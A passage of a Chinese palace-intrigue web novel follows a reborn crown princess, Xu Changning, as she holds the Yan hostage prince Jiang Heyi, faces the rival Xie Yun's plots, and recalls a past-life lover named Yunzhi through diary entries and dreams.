原本的寝殿已被卫士围得像铁桶一般,她要先将江鹤一囚在里面一夜,今夜不想再费神与他说话了。
但她未能如愿歇息,卫迟风来报,苏明烨已在东宫外等她许久了。
许长宁疲惫地摁了摁眉心,招手让人把他带进来。
结果,她还真的看到人直接把苏明烨给“带”进来,苏明烨脸色苍白,连走路都难,就这个状态,竟然还挣扎着来找江鹤一?
苏明烨一见到许长宁,便用和江鹤一一样的姿势,额头触地,伏在地上,颤声求道:“求殿下开恩,放过我们大皇子吧……”
许长宁靠坐在椅子上,手指轻敲着桌面,笑道:“是他来招惹孤的,孤为何要放过他?”
“殿下,是小人教导无方,一切都是小人的错,大皇子是为了给小人求药,才会犯下大错。殿下若要治罪,小人愿意替大皇子接受任何处置……”苏明烨始终没有抬起头来,声音虚弱不已,“求殿下了……小人可以替那孩子去死……”
“谁说孤要处死他了?”许长宁的手指忽然停止敲击桌面,她饶有兴趣地直起身,问道,“你不过一个陪着来当人质的医师,为何如此在意江鹤一?他莫不是你与周皇后的私生子吧?”
话音刚落,苏明烨忽然抬起头,仿佛病重之人回光返照一般眼神清明。
“殿下,您可以侮辱我,可以杀我,但请您不要侮辱我们燕国的皇后与嫡长皇子,他们清清白白。”他努力让自己听上去没有那般不堪,神色也极为严肃,“大皇子虽在昭国为质,但他始终是燕国身份最尊贵的皇子。”
许长宁打量着苏明烨的神色,思索未语。
“小人贱命一条,殿下要如何惩罚出气都可以。”苏明烨再度伏拜下去,“求您,莫要折磨我们的大皇子。”
他本想着,再撑些时日,也许有朝一日,还能再见周徽音一面……
可他如今活着,已成了江鹤一的累赘。
若是徽音知晓,应当也会让他如此做吧……
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殿内沉寂半晌,响起了一个哈欠声。
“既然你如此在意这两人,便好好活着,别死了。”许长宁站起身来,行至苏明烨身前,“你需要什么药,尽管去太医署取。”
与苏明烨这一番交谈,许长宁愈发确认了自己的想法。
苏明烨这个软肋,不仅仅是江鹤一的,也有可能,是远在燕国的那位皇后的。
即便周徽音如今不受燕皇待见,她能当上皇后,身后的周家,也必是不容小觑的势力。
如此,江鹤一和苏明烨,她都必须拿捏住了。
“江鹤一会留在孤的东宫,你便好生回去养病吧。”许长宁看苏明烨摇摇欲坠,轻叹了口气,对候在门外的卫士道,“用马车送苏医师一程。”
苏明烨见无望救出江鹤一,再也支撑不住,彻底瘫倒在地上:“谢……殿下……”
待卫士背着苏明烨上马车后,许长宁对身边的卫迟风低语。
“派人去守着静思院,不到必要之时只需旁观,别让人死了就行。”
*
谢筠近日为了实施计划,皆在宫中值宿。
李令舒此前知晓后,还特意派尚宫局为他好生布置了一番住所,所用之物皆为上品。
但谢筠仍睡得不好,这些物品皆非他家中之物,他总觉得脏,整宿都浑身发痒,难以入眠。
天微亮之际,他便起来了。
只要今日再与江鹤一合作一次,便有三次了。
“行”过三次房事,他便有足够的信心,将翊圣郎之位收入囊中,如此便能回家向父亲交差了。
谢筠刚在房中发出一些声响,守在门外的侍从便闻声而入,面色甚是急切。
“公子,不好了,江鹤一昨夜擅自去了东宫,直至现在……都没有出来……”
“你说什么?”谢筠倏地抬眼。
那侍从心中暗惊,一时竟不敢答话。
这是他第一次,在向来温润的谢筠眼中,看到了凌厉的杀气。
*
许长宁的前世日志·二
我的处境一日比一日差,无论我如何周旋,如何努力,朝中那些人,都纷纷倒向了谢筠,以及他背后的谢望松……或许谢家真的能比我做得更好,若朝中上下齐心协力,昭国能日益强盛,百姓安乐,我又何必再争抢什么?
许是日间颇多忧愁与无奈,每当夜色渐深,我便忍不住地期待他的到来,期待与他说说话。我原有些担心,戳穿了他的身份后,他便不再来了,但他来了,且来得愈发频繁……我们头一次,没有停下来……他总是很小心,很温柔,对我的声音与力道十分敏感,稍有动静便会倏地放缓,似乎我是被轻轻磕碰一下便会碎的人。我让他不必如此,他却说,他不想让我疼……
他说他叫云止,这名字甚是好听。云止,于云端栖止,那般自由与安宁……可若因为我,他一直囚于宫中,又如何能去往云端……然而我说不出放他离开的话,那日他说想回家,我也自私地对他说,可将这昭宸殿当作他的家……我似乎已经对他产生了依赖,甚至有几分心悦于他……
我不在乎他是何人,亦不在乎他的容貌,我只知晓,每夜是他,安抚了几分我心中的不安,陪我度过这犹如身处冷宫般漫长的一夜又一夜,他的手脚与身体,比手炉还要温暖……
若我将这份情宣之于口,对他而言会公平一些,如此我便不是在以我的身份要求他留下,而是作为一名心悦他的女子,请他留下。
只是,最先说出口的人,定会成为弱势的一方,拥有了这份情,我也多了一处弱点。若有朝一日,他以这份感情为筹码,与我为敌,我怕是……会伤心吧……
11.囚禁
被囚在东宫的第二日,江鹤一被转移到了另一间卧房,每日三餐,都有人准时送来。
实话说,这比他往日吃得好了百倍,饭后还有人专门送汤药来。
那汤药,他只是闻,便认出来了。
那是壮阳滋补之药。
许长宁……在羞辱他……
江鹤一一整日都窝在角落里,连一滴水都没有喝,更没有碰过那些饭菜。
夜里许长宁去看他时,他的唇已经干到裂开了口子。
她不紧不慢地坐在摆满饭菜的桌前,拿起筷子,往饭碗旁的空碟子夹菜。
“苏医师昨夜来求孤放你走,说愿意以一命换一命。”
自许长宁进来,江鹤一连正眼都没有看过她,一听到她提及苏明烨,倏地抬眼望向她,眼神中又是那股怨恨与警惕。
“你要对我如何都可以,别动他。”江鹤一的声音带着几分饥渴所致的沙哑。
“死人对孤无益,孤要活着的棋子。”许长宁夹了好几块肉到碟子上,又去夹蔬菜,“以性命威胁是最简单的方式,孤有的是手段,可以让人活着受罪。”
威胁之意甚是明了,江鹤一攥紧了衣裳,寒声道:“你想如何?”
许长宁用筷子轻敲盛满了肉菜的碟子,朝他微微一笑:“一炷香时间内,将这些,还有这碗饭,以及汤药,吃干净,有力气了,才能好好为孤办事。”
江鹤一死死盯着许长宁半晌,终是站了起来,坐到桌前,开始大口吃已经凉透的饭菜。
许长宁随即在书架上取了一本书,坐在一旁看了起来,等着江鹤一吃完。
才过了约半炷香的时间,江鹤一便忍着愤懑,将许长宁夹到碟中的菜和碗里的饭吃了个干净。许长宁看了眼那碗汤药,江鹤一咬咬牙,仿佛在喝什么剧毒一般,端起碗一口气喝光了。
许长宁甚是满意,起身要走,却被江鹤一叫住。
“许长宁,你还要囚我多久?”
“此处可比你那静思院好多了。”许长宁负手转身,“江郎君不喜欢这里吗?”
“你的地方,我哪里都不喜欢。”江鹤一虽不知许长宁要如何利用他,但他既已知晓她不会杀他,言语便愈发肆无忌惮,“这榻,这褥子,这破桌椅,破门破窗,所有你碰过的东西,都恶心至极。”
许长宁丝毫没有被惹怒,笑着掐住江鹤一的脸:“你的嘴应当感谢你的脸,若不是脸长得还算好看,你的小命早就被这张嘴给葬送了。”
“那我便将这张脸割烂,不让你为难。”江鹤一也笑了,笑得阴沉。
许长宁不想与他逞口舌之快,松开了手:“江鹤一,你不是想回燕国吗?讨好谢筠,不如讨好孤,与孤合作,事成后,孤便满足你所想。”
江鹤一凝望她许久,心中快速盘算着。
如今母后一切安好,苏明烨的病情已好转,所需药物他可以让林笙去宫外买,一时间,他似乎没有了牵绊。
加之历经这一遭,他算是看出,谢筠与许长宁各有盘算,他只是一个夹在中间的棋子。他们口口声声说,事成后可以让他回燕国,恐怕只是一句哄骗罢了。
一旦利用完,大约是要灭口的。
他求生,只为回家,如今看来已是无望,死又有何惧?
眼下他只需顾及自己屈指可数的活命日子,能否过得稍微有些人样。
与谢筠合作,需得与许长宁虚与委蛇,而与许长宁合作,更是要沦为她的玩物。
左右都躲不过许长宁,而他只想摆脱许长宁,即便回到过去任人打骂的境地,他也不想低贱到向敌国之人出卖身体。
可他要如何才能摆脱她?
说她斗不过谢家,说她阻止不了成婚一事,说她不自量力痴心妄想,说她恶心……那些他认为会惹怒她的话,已经说得差不多了……
似乎只剩那一处可攻击的地方了……
“你一个女人,凭什么跟谢家比上下?”
江鹤一冷笑一声,虽是仰望,眼神中却尽是轻蔑,“朝中除了一个不知死活的昭皇,还有谁支持你?孤军奋战,定会落得众矢之的的惨败下场。女人当储君已甚是荒谬,你还妄想当皇帝?可笑。”
在许长宁脸色沉下去的那刻,卧房的门也被人踹开了。
“你这个混账狗东西!狗嘴说不出人话就去吃粪!!”薛竹铃大吼一声,挥着小拳头直奔江鹤一而来。
卫迟风追在薛竹铃身后,欲阻止她的冲动之举,又怕用力会伤了她,竟一时没有拽住她。
眼看着薛竹铃的拳头要挥到江鹤一的脸上,许长宁也没有开口,只是黑着脸侧过身,反给薛竹铃让了路。
薛竹铃长得娇小,也没怎么打过架,江鹤一轻而易举地躲过她的攻击,正要抬手还击,薛竹铃身后的卫迟风顿时一个箭步上前,将薛竹铃护到身后,攥紧了江鹤一的手腕。
卫迟风寒声道:“你敢碰她,我捏碎你的手。”
“卫迟风揍死他!”薛竹铃扒着卫迟风的手臂,探头恶狠狠骂道。
她方才在门外,听到了江鹤一说的所有话,此时气得脸都涨红了。
简直岂有此理!从没有人敢这样说她家殿下!
若不是上次把匕首还给了卫迟风,她高低要在江鹤一身上捅十几个窟窿!
她与这个江鹤一不共戴天!
“够了。”
许长宁的声音很平静,但薛竹铃听得出来她在忍着情绪。
她侧头看许长宁脸色不好,暗暗扯扯卫迟风的衣袖,卫迟风便松开了江鹤一。
“你滚吧。”许长宁扔下一句话,便离开了。
江鹤一一怔,他没料到,他说的话竟然奏效了。
薛竹铃看许长宁走了,也气冲冲朝江鹤一喊了一声“滚”,随即追上去哄许长宁。
她追至许长宁的寝殿,看许长宁一脸云淡风轻地在批阅奏折,便蹭过去挽住她的手臂,嘟囔着骂江鹤一,替许长宁出气。
“殿下,您要是心里不痛快,我让卫迟风去揍江鹤一一顿,卫迟风还有很锋利的匕首,我去帮您把江鹤一捅成筛子。”
此时卫迟风也走了进来,告知许长宁江鹤一已经离开了东宫。
“不必你们动手,他踏出东宫,有的是人在等着他。”
既然他口无遮拦,她也无须再护着他。
薛竹铃仍觉得生气:“这个燕国质子太可恶了,还不如谢筠呢,至少他表面对您毕恭毕敬的。”
批阅完一本奏折,许长宁的心情已再无波澜。
她放下笔,看向薛竹铃:“真心实意,与虚情假意,你觉得哪个更好掌控?”
薛竹铃被问得一愣,许长宁又看向卫迟风,示意他来回答。
卫迟风攥着剑柄的手,摩挲了一下剑头的雕刻:“殿下若不喜,虚情假意与真心实意皆不必在意,以您的实力,无须借力于这两人,亦能稳坐朝堂。”
“如今就连太医署都不可轻信,我会走得极其艰难。”
许长宁平静分析道,“朝中除了被谢家渗透的势力,便是严相那不支持女子掌权的势力。平心而论,母后说我独自一人,无法独自坐那把龙椅,江鹤一说我孤军奋战,定会惨败收场,说得并非毫无道理。”
卫迟风闻言,在许长宁面前单膝跪下,正色道:“谁挡殿下的路,臣便为殿下除掉谁,殿下只管往前行,臣拼上性命,也会护殿下周全。”
许长宁看着卫迟风,目光总是不禁往他左手手背望去。
他的手背上,有一片狰狞的伤疤。
他是南衙禁军中一位已逝将领之子,从小习武,武功十分出挑,年仅十三,便被破例选拔成为东宫卫士。
仅一年后,他便脱颖而出,成为许长宁的贴身护卫,此事说起来,还要感谢薛竹铃。
薛竹铃给许长宁端汤药时,不慎左脚绊右脚摔了一跤,卫迟风当时恰好在殿内,眼疾手快挡在许长宁身前,手背烫得当场脱皮。
不仅如此,汤药中竟被下了毒,卫迟风的手背被腐蚀得甚是严重,即便是一个从小习武之人,当时也疼得脸色青白。
许昭临被吓得够呛,万幸薛竹铃绊那么一下,许长宁才无恙。事后,许昭临重赏卫迟风,问过许长宁的意见后,擢升卫迟风为她的贴身护卫。
许长宁一直想让太医为卫迟风去掉手上那片伤疤,卫迟风却不愿意,说要以此伤疤时刻警醒自己恪守职责,护许长宁周全,直至疤痕成型,再难祛除。
许长宁那时其实并不信卫迟风的说辞。
他是一个十四岁的孤儿,与她非亲非故,入宫为的定是功名钱权。那伤疤留着,许是要时刻提醒她,莫忘了这一救命之恩。
可在接下来的岁月中,她渐渐发现自己错了。
卫迟风对她忠贞不二,除了俸禄,他从不索取多余的钱财,不管她给他什么任务,他从不论对错,不论有多危险,都会为许长宁做到。
当许长宁与谢家撕破脸后,卫迟风便一直在用命追随她。
前世,他为救许长宁逃出谢家刑房,身负重伤,直至将她送达安全之地才倒下,一身黑衣早已被血浸湿。
在他倒下之前,他脸上没有半分异样,许长宁还以为他无恙。
她尚未来得及唤他一声,他便已断了气。
那时他才二十四岁,没有成家,没有子嗣,半生都在保护她。
竹铃从小便在她身边长大,视她为最亲的家人,可卫迟风呢?他为何会为她许长宁做到这等地步?
前世许长宁没有机会得知,这一世,她也无意再去探究。
他和竹铃,已成为她最亲近的弟弟妹妹,都是她必须要护下来的人。
“迟风,你什么都好,唯有一处不好。”许长宁扶了扶卫迟风的手臂,示意他起来。
卫迟风闻言,愈发不肯起来,跪着问道:“臣何处做得不够好,请殿下明示,臣定当——”
“你太不惜命。”许长宁打断他的话,拉他起来,“我不要你拼命护我一时,我要你长长久久陪伴我左右。竹铃要做我身边最受宠的老嬷嬷,你便做我身边最受宠的老将军,如何?”
卫迟风一时因意外而有些无措,向来沉稳的神情难得出现了几分少年之气。
他看向薛竹铃,似是求助,薛竹铃冲他咧嘴一笑:“届时你便是老头了,我比你年轻一岁,未必打不赢你。”
许长宁莞尔:“卫将军,能否领命?”
卫迟风望着许长宁,喉头忽然一阵发涩,眼睛发烫。
他忙低下头掩饰:“臣……领命。”
言罢,卫迟风又要跪。
“好啦。”许长宁拽住他不让他再跪,“你替我去跑一趟。”
她负手行至门前,望着庭院月色,“去告诉礼部和宗正寺,这婚,我成。卜选翊圣郎之日提前,三日内,让他们将一切准备好。”
“啊?”薛竹铃甚是意外,小跑至许长宁身边,“殿下为何要认输?”
“谁说我认输了?”许长宁笑了笑,“好戏才刚刚开始。”
她已经有了计划,不仅不会让谢家得逞,更要借他们的计划,倒打一耙,一点点拔除他们在朝中的势力。
除此之外,她更要借机查清十二年前和宁宴的真相。
而在这个计划中,江鹤一是她的前锋。
她还得感谢谢筠,为她送来如此好的一枚棋子。
卫迟风走后,许长宁也支走薛竹铃:“去密室准备一下,我稍后过去。”
薛竹铃点点头,把暖炉塞到许长宁的手中,确认她披好外袍,才提着灯笼离开。
许长宁这才脱去鞋袜,光着脚踩在院中的草地上。
很快,她的脚趾便冻得发红,但实实在在站在地上的感觉,令她心安不少。
她缓缓呼出一口热气,望着飘散的轻烟,这才允许自己陷入那些无法忽略的回忆中。
前世曾有一次,她在朝会上
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被谢筠当众驳斥,责怪她妇人之仁,一时间,朝臣之中再度掀起对她的攻击。
说她是女子,根本不配为君。
自那之后,朝堂上下,更无一人愿意,或是无人再敢为她说话。
她的决策见效,是因为谢筠辅政有功,她的决策不见效,便是因为她身为女人,不懂治国。
一日夜里,她没忍住情绪,偷偷掉了眼泪,被枕边之人察觉了。
他吻去她的眼泪,柔声安慰:“陛下不仅是女子,更是比他们强了百倍的女子,他们觉得自尊心受挫,便如此侮辱陛下,欲让自己好过一些。小人之心,陛下应当觉得他们可怜。”
许长宁在黑暗中问道:“是不是我太窝囊了,才让他们如此嚣张?”
“这怎会是陛下的错?”
她被抱入他的怀中,他的身子真的很暖。
“这世道本就如此,对女子太过不公,并非陛下一人便能改变,所以陛下莫要自责自愧,您已做得很好了。”
许长宁握紧了手炉,抬头望向皎月边的几抹云,微微笑了笑。
“云止,重来一世,我会做得更好吗?”
*
江鹤一回到静思院时悄无声息,半夜犹如游魂,将半卧在榻上的苏明烨和照顾他的林笙吓了一跳。
苏明烨看清楚来人后,由惊转喜,急着要起身下榻去迎,被江鹤一快步过来按了回去。
“整日乱跑什么?”江鹤一扼住他的脉搏,语气平淡,“今日可服药了?”
“服过啦!我亲自给熬的。”林笙在一旁搭腔,趁机道,“熬药和照顾叔可是分开的哦,届时你要给我两笔银子。”
“先欠着。”江鹤一确认苏明烨脉象平稳,暗暗松了一口气。
“唉,光是记你俩的账,就得用上好几本册子。”林笙摇着头,毫不留情地在账簿上添了两笔。
苏明烨一直紧盯着江鹤一的脸,几次张口,都没有说出想说的话来。
但他那根本藏不住的自责神情,已经将他出卖。
最后,他垂下眼,翻身背对江鹤一,低声道:“下次莫再自作多情去求药,与你在这昭国待着,没有一点盼头,还不如死了。”
“好啊。”江鹤一答得很快,“师父没有了,再找一个便是。”
苏明烨一顿,默默攥住了被褥。
这小子……唤他什么?
“歇息吧。”江鹤一没再打算与苏明烨多说,拉着林笙走出了卧房。
林笙看江鹤一脸色尚好,便好奇问了一嘴,他是如何从许长宁那里脱身的。
江鹤一神色并无波澜,一边为苏明烨研磨明日服用的药物,一边将事情的经过大概告知林笙,平静地犹如在讲别人的故事一般。
结果听完后,林笙倒有些不高兴了。
“老一,你这话说得着实有些过分了。”
林笙捶了江鹤一的肩膀一拳,蹙眉道,“我的奶奶们,个个都是六局中顶好的女官,她们每一个人都不比男子差。而且奶奶们原先五十多岁便要被赶出宫了,如今她们仍能在宫中做自己钟爱之事,还能享有俸禄,全是因为殿下仁爱,亲自为宫中年迈的女官争取来的。她从不苛待我们这些下人,她身边的宫女和侍卫,个个都对她死心塌地,便知她有多好了。”
见江鹤一并无反应,林笙不服气,绕到他的对面,双手撑桌继续道,“再说了,我们皇太女殿下,一点都不比你们燕国的皇太子逊色,她监国这些年来,昭国朝局稳定,百姓安居乐业,我不准你如此诋毁殿下。”
江鹤一停下捣药的棒槌,轻叹一口气。
“我知道。”
他在昭国十几年,为了生存,他怎可能两耳不闻窗外事?
但凡他知晓一点昭国的情报,便知这位皇太女的本事。
她绝非泛泛之辈,无论是学识、胆识,或是治国之术,皆十分出色,且这一切不仅是从昭皇身上学来的,从打探来的诸多情报中,他看得出来,许长宁有她自己的想法。
更何况,这几次交手,他也深刻地意识到,她的心思极深。
这样的一名女子,早已满足了做君王的所有要求。
而他,一个如一捧贱泥的燕国皇子,又有什么资格去评判她?
“但唯有如此,我才能让她厌恶我,才能逃出来。”江鹤一轻声解释,继续捣药。
“其实你投奔我们殿下,做个面首,应当也会有挺好的待遇。”林笙打了个哈欠,“至少比眼下要好,你为何就拒绝了呢?”
江鹤一的手顿了顿。
回到稍微安心的地方,他也更容易直面自己的内心。
拒绝许长宁,除了不想对敌国之人出卖身体,做如此卑贱之事之外,其实还有一个原因。
他有些恐惧,昨夜那种莫名想亲近许长宁的渴望,那种想与她在一起的冲动,似乎不完全是迷情散的作用……
那种感觉,让他仿佛被另一人夺舍,失去了对自己的身体与精神的控制,甚是可怕。
林笙没有听到回答,也不甚在意,只是可惜江鹤一失去了一个可以飞黄腾达的好机会,摇着头说他欠的债不知何时才能还上,随后离开了静思院。
屋内一下子安静下来,江鹤一不再允许自己回想昨夜之事,尽力全心投入到制药之中。
他刚捣好药,随即听见屋外院落传来动静。
林笙这小子又在搞什么鬼?
他正要打开门看个究竟,却在触碰到门的瞬间,门被人猛地从外面打开,一道黑影挡在江鹤一身前,未待他防备,便一脚将他踹倒。
他吃痛地捂着肚子,抬眼间,便见另一侍从装束之人闯入苏明烨的卧房,将苏明烨粗暴地拎出来,押在地上。
“别伤他!”江鹤一欲起身对付那侍从,却被人再度踹倒,踩在了脚下。
“伤?”谢筠从门外走进来,行至江鹤一身前,以鄙夷的眼神俯视着他,寒声道,“你们二人,今夜得死。”
12.幻梦
“谢公子饶命……”
江鹤一尚未反应过来,便听见一旁的苏明烨哀声求饶。
苏明烨犹如浑身没有骨头一般,伏倒在地,那是他在年幼之时便教过江鹤一的姿势。
足够卑微,足够让人解气。
江鹤一却觉得这一招,今日不管用了。
他离开东宫时便想过,若哪日许长宁与谢筠说起他暴露之事,谢筠定不会轻饶他,他必须好好想对策。
但他不曾料到,谢筠来得如此快,看来谢家在宫中的眼线甚多。
似是因为江鹤一并未求饶,踩着他的侍从神色不悦地踢了他两脚。
苏明烨忙道:“虽然这孩子被殿下发现了,但他死守秘密,绝口不提谢公子您啊!您饶了他吧!”
谢筠扬了扬眉,但并未说话。
苏明烨愈发着急,开口便成篇:“这孩子被抓时,便说是为了报答殿下那日在御书房饶他一命,又担心殿下不愿见,看殿后无人巡查,才偷跑进东宫,怎料殿下将他拽至榻上。殿下本就因为迷香而记忆模糊,这一番说辞她都信了啊!不然殿下早去问罪于您了,不是吗?这孩子宁死也不会将您暴露出来的啊!”
“若他已暴露我,我便不会在此与你们费口舌了。”谢筠看向至今垂头一言不发的江鹤一,一脸慈悲模样,“看在你还算识相的份上,我可以给你们一个痛快。”
江鹤一忽然抬头,看向谢筠的眼神中,竟毫无求饶之意。
“你不能杀我们。”
冰冷,又强硬,仿若变了一个人。
谢筠有些意外。
原来这个卑躬屈膝十几年的质子,还会有这种眼神。
他倒想看看,这个燕国大皇子除了求饶,还会什么。
“理由?”
江鹤一面色平静,寒声答道:“我乃燕国在昭的使者,若无缘无故死了,你要如何向燕国交代?”
谢筠笑道:“你莫不是天真至此,还以为自己在燕国有几分重量吧?”
“我不重要,但我的身份重要。”
江鹤一仍被踩在脚下,此时却比他以往站立之时更为硬气,“如今燕国国力已日渐恢复,你以为,他们咽得下十二年前的那一口气吗?据我所知,父皇前几日才去驻守边境的周家军军营视察,如今他缺的不是兵,而是一个起战的借口。”
“谢公子认为,燕国嫡长皇子为质十二年,却横死昭国,足不足以激起燕国军民之怒?莫要忘了,十二年前,昭国因何而胜?民意,军心,不出一口恶气誓不罢休的愤怒。”
“再者,我方才从东宫出来,翌日便暴毙,许长宁必定会怀疑有人因妒生恨,一旦追查,谢公子可有信心能完全撇清关系?”
江鹤一的字字句句,皆清晰有力,不卑不亢,谢筠听得脸色一点点沉了下去。
他转过身去,眼神中已再无笑意。
江鹤一是个废人,可以破釜沉舟,鱼死网破,但他不可以。
他背负着重任,顾虑甚多。
他不能出错,更不能容下半点风险。
“公子。”那名时常跟随谢筠的老仆从外头进来,步履匆匆,赶至谢筠身边,面带喜色地与他说了一句话。
谢筠的脸色忽地好转,也染上了几分喜色。
“她如今倒是急着成婚。三日,应当足已再寻人替代。”他回首望向江鹤一的脸良久,微笑道,“今日,我便放过你。只是你这张脸,既已被她看上……”
他朝一旁侍从招招手,“这屋里太冷,给我们燕国嫡长皇子多燃些炭。”
苏明烨瞬间便明白谢筠是为何意,一脸惶恐喊道:“谢公子您高抬贵手!您饶了我们吧!”
然而谢筠已快步离开,他的哀求落地无声。
一名谢家侍从在炭盆中点燃了几块炭,火星烧得噼啪响。
江鹤一望着越来越旺的火炭,不甘地咬紧牙关,猛地撑起身体,试图反抗那名钳制他的侍从,可他竭尽全力,亦难敌对方几个人,狠狠挨了一顿打,被打得再无力气动弹。
苏明烨眼睁睁看着一名侍从掐着江鹤一的脖子,把他拽向炭盆。
苏明烨突然爆发出极大的力气,挣脱踩着他的人后,飞扑过去,抱住了那名侍从的腿,嘶声求道:“我来替他受!大人!求您放过他!你们要如何对我都行!杀了我都可以!!”
那侍从抬脚,轻松踹开了苏明烨,讥笑道:“本来这火炭是要用来杀你们的,现在只是略施小戒,知足吧!”
言罢,他倏地用力,按着江鹤一的头,将他的脸往炭盆里按去!
苏明烨目眦欲裂:“鹤一!!”
“皇太女殿下教令到!”
几乎是同一时刻,门被砰一声撞开,林笙冲进来,高举一块令牌,大声喝止那名侍从,“住手!”
屋内几名侍从动作一顿,看着林笙的目光充满了质疑,正要细看他手中的令牌时,林笙身后忽有一个老太监追上来。
他们充满戾气的神色立即收敛起来,那确实是东宫的太监,他们都认得。
老太监喘着气,明显跑了一段路,他抬手朝林笙后脑勺拍了一掌:“给你了吗?你就抢?”
他拿回他的东宫令牌,看破败的屋内挤满了人,蹙眉问:“你们不是秘书郎的侍从吗?在此处作甚?”
那名本要烧江鹤一脸的侍从满脸带笑,当即将江鹤一捞起来:“齐公公,那日在御书房,我们公子见江郎君身上有伤,苏医师又病着,便特意让我等送些火炭来静思院。”
老太监“嗯”了一声,直言来意:“老奴来传殿下教令,殿下将在三日后,于含元殿前卜选翊圣郎,此事关乎国本,江郎君在昭国,算作燕国见证者,需整装出席。”
老太监向被侍从架着勉强站立的江鹤一靠近,上下打量道:“兹事体大,礼数与着装方面,老奴需好生教江郎君一番。”
那几名侍从暗中传递眼神,不知该如何自处时,老太监扬眉:“几位是要在此处陪着江郎君?”
老太监的语气淡淡,可浑身散发的气息,却不像是欢迎他们留下。
“不不不。”架着江鹤一的侍从陪笑道,“小人便不打扰公公办事了,我等先行告退。”
言罢,他立即撒开江鹤一,与其他几人走了。
江鹤一脱力,顿时朝前倾倒,林笙一个箭步上前,扶他坐下。
苏明烨心疼又自责,可话到嘴边,却化为无声叹息。
江鹤一摸着被踹疼的肋骨,恭恭敬敬对老太监道:“小人不敢耽误公公时间,请公公指教。”
可那老太监却只是静静地听,并未马上言语。
直至院外再无动静,他将东宫令牌放在桌上:“明日老奴会派人将衣裳送来,至于礼数,江郎君那日跟着旁人做即可。”
言罢,他便开门要走。
“江郎君,把门关好了。”老太监关上门之前,最后看了他一眼,“把嘴也闭紧了。”
待屋内只剩下三人,苏明烨忙要拉开江鹤一的衣裳,看他伤到了何处,却被江鹤一抬手拦下。
“无碍,你还是操心自己吧。”江鹤一一直以余光瞥向苏明烨,想看看他的脸色,又不想太过明显。
林笙叹了口气,给他俩老弱病残倒了两杯水,大发慈悲地没有记账。
他将老太监留下的那块令牌推至江鹤一面前,一本正经道:“你看!这分明是殿下派人来保护你呢!早知道你就好好给殿下当面首了,衣食无忧,还不会挨打。”
江鹤一摇头:“此乃威胁,她恐谢筠逼供,我会暴露她对谢家的真实态度。”
“那谢筠不也是威胁吗?在殿下那里,你好歹有一张能讨人喜欢的脸。”林笙嬉皮笑脸地凑近江鹤一,打量着他的脸,“当真不考虑考虑?你飞黄腾达,届时也能拉兄弟我一把。”
江鹤一没有心思再与他玩笑,以沉默替代了回答。
可苏明烨却以为他在思索。
“不行!”苏明烨站起来,厉声喝止,“燕国的嫡长皇子,终有一日,会风风光光地回国!你……你若折辱自己……便……便是丢了你母后的颜面!”
苏明烨说完,似是难以自容一般,快步回了卧房,房门砰一声被关上,让江鹤一和林笙两人皆打了个激灵。
“叔这是……安慰你,结果还害羞了?”林笙疑道。
江鹤一轻笑一声,撑着桌子起身,要给被踢伤之处上些药酒。
林笙连声感慨:“啧啧啧,叔还真是……又纯情又善良,老一,你可对叔好一点吧。”
江鹤一却垂眸低笑:“那你便错了。”
林笙:“?”
江鹤一:“你若真的惹急了他,恐怕连死都不知是如何死的。”
林笙不信,笑道:“你是说叔会杀人?开什么玩笑。”
“十二年前,一整队人马护送我来昭国,为何就只有他一个不会武的医师活下来?”江鹤一拍拍林笙的肩膀,“好好想想吧。”
林笙眼一瞪,脸色刷地白了。
这……这以后……还能不能催债了?
*
夜风簌簌,似在低语,扰人清梦。
“云止……”
“一起走……你也别怕……”
“只是,你要走慢些……我怕……寻不到你……”
一道极细的声音,犹如游丝一般,随风飘入江鹤一的梦中。
他无意识地攥紧了被褥,眉心紧蹙,浑身紧绷起来,面色在寒夜中涨红。
缠绵悱恻,耳鬓厮磨……
许长宁在吻他的耳垂,她的手抚过他后背的伤疤,一下一下轻拍他的后背……
他撑在许长宁的上方,一遍遍吻过她的眼唇,将她的衣裳,一件件脱下……
“陛下摸过,便不疼了……”
“小人……非鹤,一身卑贱,亦无以为鹤,能得陛下垂怜,已是万幸……”
“阿宁……别怕……”
一声寒鸦啼,令江鹤一惊醒。
他睁眼望着房梁,已是满额的汗。
可那并非冷汗,而是……热汗……
更令他震惊的是,他的眼角竟流
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出了泪。
心里充斥着奇怪的情绪,似是离别前的悲伤,尽是不舍……
他怎会做这种梦?这种感觉又是为何?
明明与那女人行事甚是恶心,可梦中的他……却是那般温柔……
那不像是他,许长宁所唤亦不是他,而是什么云止。可为何,梦中的感觉却并不陌生?
且梦到的片段,实在太过琐碎,似真似假,令他头疼欲裂。
江鹤一起身快步行至后院,用水缸里的冷水洗了把脸,双手撑在水缸边,试图让自己冷静下来。
可他随即看到了水面上,映照出来的、狼狈的自己。
苏明烨说,他总有一日可以回国。
若真的等来那日,一个连头都抬不起的人,燕国可还会有人接纳他?
他蹙起眉,发疯一般,一遍遍拨乱水面,不想再看到自己的模样。
他这一身卑贱,一副残骨,连他自己都觉得恶心。
最终,他背靠着水缸,缓缓跌坐在地,埋头于双膝之间,被踢伤的胸腹阵阵钝痛。
好痛……挨打之时都没有这般痛……
“云止……你别怕……”
“陛下摸过,便不疼了……”
梦中的话语如同夜间轻风,吹得教人恍惚。
*
清晨将至,鸟鸣声渐起。
坤宁宫中,李令舒早早便醒了。
她着实睡不着,满脑子都是许长宁明日卜选翊圣郎一事。
她唤来侍女,在镜前换了好几身衣裳,都觉得不满意。
最终,她在柜子深处,翻出了那套她从未穿出去的紫金色衣裳。
“还是这套衣裳最合适。”
李令舒在镜前看了又看,脸上尽是欢喜,“宁儿眼光比她父皇好多了,即便是五年前命人制作的款式,也毫不过时。”
“皆说女儿乃母亲身边最贴心之人,殿下当然是最了解、最疼娘娘的。”
一旁的老嬷嬷得心应手地附和,连连夸赞,“明日殿下卜选翊圣郎,陛下仍在病中,您作为殿下亲母,自是要为殿下镇住那满朝文武,您穿这一身,端庄大气,又极具威严,合适极了。”
李令舒将衣襟捋了又捋,珍重又欢喜,望着自己镜中模样,满脸笑意。
她忍不住向嬷嬷说起这套衣裙的来源,包括许长宁是如何早早暗中命人制作布料,又是如何亲手设计刺绣花纹的。
老嬷嬷面上感叹不已,其实有些心不在焉,只因这些话,她已听过不下十次。
每隔一段时日,李令舒都会将这套衣裙拿出来试穿一下,有时是闲来无事,独自在寝殿中试穿,有时遇上重要场合,她也总会试一试。
每试一次,她便会与身边人炫耀一遍,坤宁宫中近身服侍她的人,都能将这套话背下来了。
除了这套衣裙,同样的事情也发生在许长宁送给李令舒的其他物件上。
但不知为何,李令舒始终没有将这套衣裳穿出去,许长宁送的所有服饰首饰,她都不曾穿戴示人。
